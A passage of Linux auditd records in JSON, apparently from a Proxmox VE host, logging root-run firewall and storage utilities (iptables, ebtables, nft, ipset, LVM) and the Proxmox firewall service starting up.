msg=audit(1781965535.689:66029): proctitle=\"iptables-save\""} {"@timestamp":1781964815977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.977:62742): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14b1c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60195 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234665,"@rawstring":"node=pve type=PATH msg=audit(1781966234.665:69011): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.672:66028): proctitle=\"ebtables-restore\""} {"@timestamp":1781964815754,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.754:62741): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234665,"@rawstring":"node=pve type=PATH msg=audit(1781966234.665:69011): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535666,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.666:66027): proctitle=\"ebtables-restore\""} {"@timestamp":1781964815740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.740:62738): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=PATH msg=audit(1781966230.883:69010): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.639:66026): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964814129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964814.129:62735): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bd690 a1=64f8d73f0d70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=PATH msg=audit(1781966230.883:69010): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.620:66025): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964814098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964814.098:62734): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d71ae6f0 a1=64f8d73c3ba0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=PATH msg=audit(1781966230.883:69009): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.601:66024): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964810734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964810.734:62733): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=PATH msg=audit(1781966230.883:69008): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535589,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.589:66023): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964810718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964810.718:62730): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=PATH msg=audit(1781966230.874:69007): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535578,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.578:66022): proctitle=697073657400726573746F7265"} {"@timestamp":1781964805965,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.965:62727): arch=c000003e syscall=59 success=yes exit=0 a0=64c2c9830cf0 a1=64c2c983cb80 a2=64c2c980a680 a3=5 items=2 ppid=60179 pid=60185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=PATH msg=audit(1781966230.874:69007): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.566:66021): proctitle=\"ip6tables-save\""} {"@timestamp":1781964805962,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.962:62726): arch=c000003e syscall=59 success=yes exit=0 a0=64c28f18fac8 a1=7fff6b471090 a2=64c2c980a680 a3=64c28f17324e items=2 ppid=60179 pid=60181 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=PATH msg=audit(1781966230.874:69006): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535543,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.543:66020): proctitle=\"iptables-save\""} {"@timestamp":1781964805961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.961:62725): arch=c000003e syscall=59 success=yes exit=0 a0=7fff6b471050 a1=64c2c982c390 a2=64c2c980a680 a3=5 items=2 ppid=60179 pid=60180 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=PATH msg=audit(1781966230.874:69005): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.536:66019): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964805957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.957:62723): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226094,"@rawstring":"node=pve type=PATH msg=audit(1781966226.094:69004): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.528:66018): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964805951,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.951:62722): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226094,"@rawstring":"node=pve type=PATH msg=audit(1781966226.094:69004): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.525:66017): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964805945,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.945:62721): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226091,"@rawstring":"node=pve type=PATH msg=audit(1781966226.091:69003): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.525:66016): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964805938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.938:62720): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226091,"@rawstring":"node=pve type=PATH msg=audit(1781966226.091:69003): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.517:66015): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964805932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.932:62719): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226090,"@rawstring":"node=pve type=PATH msg=audit(1781966226.090:69002): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.503:66014): proctitle=\"ip6tables-save\""} {"@timestamp":1781964805929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.929:62718): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b6a946bc740 items=0 ppid=1156 pid=60174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966226090,"@rawstring":"node=pve type=PATH msg=audit(1781966226.090:69002): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535489,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.489:66013): proctitle=\"iptables-save\""} {"@timestamp":1781964805927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.927:62717): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ecfd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226090,"@rawstring":"node=pve type=PATH msg=audit(1781966226.090:69001): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535480,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.480:66012): proctitle=69707365740073617665"} {"@timestamp":1781964805923,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.923:62716): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc135d90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60173 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226086,"@rawstring":"node=pve type=PATH msg=audit(1781966226.086:69000): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.466:66011): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964805918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.918:62715): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecb90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60172 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226086,"@rawstring":"node=pve type=PATH msg=audit(1781966226.086:69000): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.452:66010): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964805913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.913:62714): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c140 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226086,"@rawstring":"node=pve type=PATH msg=audit(1781966226.086:69000): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965534614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965534.614:66009): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964805908,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.908:62713): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecb90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226079,"@rawstring":"node=pve type=PATH msg=audit(1781966226.079:68999): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965534579,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965534.579:66008): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964805902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.902:62712): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e9db0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226079,"@rawstring":"node=pve type=PATH msg=audit(1781966226.079:68999): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965533363,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965533.363:66007): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.897:62711): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226071,"@rawstring":"node=pve type=PATH msg=audit(1781966226.071:68998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965533363,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965533.363:66006): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.890:62710): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226071,"@rawstring":"node=pve type=PATH msg=audit(1781966226.071:68998): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965533363,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965533.363:66005): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.887:62709): arch=c000003e syscall=59 success=yes exit=0 a0=55b014ce0ed0 a1=55b014cddc50 a2=55b014cbf680 a3=5 items=2 ppid=60160 pid=60166 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226064,"@rawstring":"node=pve type=PATH msg=audit(1781966226.064:68997): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965533352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965533.352:66004): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.884:62708): arch=c000003e syscall=59 success=yes exit=0 a0=55afed329ac8 a1=7ffccd003f00 a2=55b014cbf680 a3=55afed30d24e items=2 ppid=60160 pid=60162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226064,"@rawstring":"node=pve type=PATH msg=audit(1781966226.064:68997): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965533352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965533.352:66003): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.883:62707): arch=c000003e syscall=59 success=yes exit=0 a0=7ffccd003ec0 a1=55b014cc6310 a2=55b014cbf680 a3=5 items=2 ppid=60160 pid=60161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226056,"@rawstring":"node=pve type=PATH msg=audit(1781966226.056:68996): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965533352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965533.352:66002): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805879,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.879:62705): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226056,"@rawstring":"node=pve type=PATH msg=audit(1781966226.056:68996): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965528343,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965528.343:66001): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805873,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.873:62704): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226050,"@rawstring":"node=pve type=PATH msg=audit(1781966226.050:68994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965528343,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965528.343:66000): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.867:62703): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226050,"@rawstring":"node=pve type=PATH msg=audit(1781966226.050:68994): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965528342,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965528.342:65999): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805862,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.862:62702): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 